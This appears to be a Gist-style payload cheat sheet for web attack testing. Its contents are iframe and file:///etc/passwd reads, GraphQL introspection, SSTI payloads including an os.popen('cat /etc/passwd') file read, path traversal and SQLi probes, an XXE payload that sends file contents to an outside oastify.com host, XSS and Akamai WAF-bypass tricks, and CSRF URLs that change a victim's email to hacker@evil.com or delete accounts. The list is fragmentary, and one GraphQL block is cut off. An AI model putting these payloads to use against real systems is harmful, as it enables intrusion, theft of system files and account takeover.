Skip to content

Instantly share code, notes, and snippets.

<iframe src="file:///etc/passwd" height="1000px" width="1000px"></iframe>
<iframe src=\"https://example.com/\"></iframe>
<!-- Using base HTML tag -->
<base href="http://127.0.0.1" />
<!-- Loading external stylesheet/script -->
<link rel="stylesheet" src="http://127.0.0.1" />
{
"query": "{ __typename }"
}
---------------------
{
"query": "{ __schema { queryType { name } mutationType { name } subscriptionType { name } } }"
}
# SSTI payloads (one per line)
# payload||expected_output
# Example confirm:
# {{7*7}}||49
#
# File-read confirm example:
# {{lipsum.__globals__['os'].popen('cat /etc/passwd').read()}}||root:x:0:0
# Safe math confirms
{{7*7}}||49
'
''
`
"
""
%
,
\
')
")
etc/passwd
/etc/passwd
../etc/passwd
../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd
../../../../../../../etc/passwd
../../../../../../../../etc/passwd
1. SQLI:
'
"
')
")
'))
"))
'--
"--
'#
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://%file%.h6ojcmzsjqtnjvjyv6als7vbl2rtfp3e.oastify.com/'>">
%eval;
##Rare Cases
*/</script><script>alert()/*
'href=javascript:alert()>click me<a/y='
"autofocus onclick=’&#97;lert()'
Akamai Tricks & Tips
* alert() => window['alert']()
* alert() => this['alert']()
* alert() => (alert)()
* alert() => eval(atob('YWxlcnQoKQ=='))
{
__type(name: "TableauUser") {
name
kind
fields {
name
type {
name
kind
ofType {
https://example.com/page?path=<img src="/change-email?new_email=hacker@evil.com">
https://example.com/page?path=<iframe src="/delete-account?confirm=true" style="display:none;">
fetch('/action?param=value', { credentials: 'include' });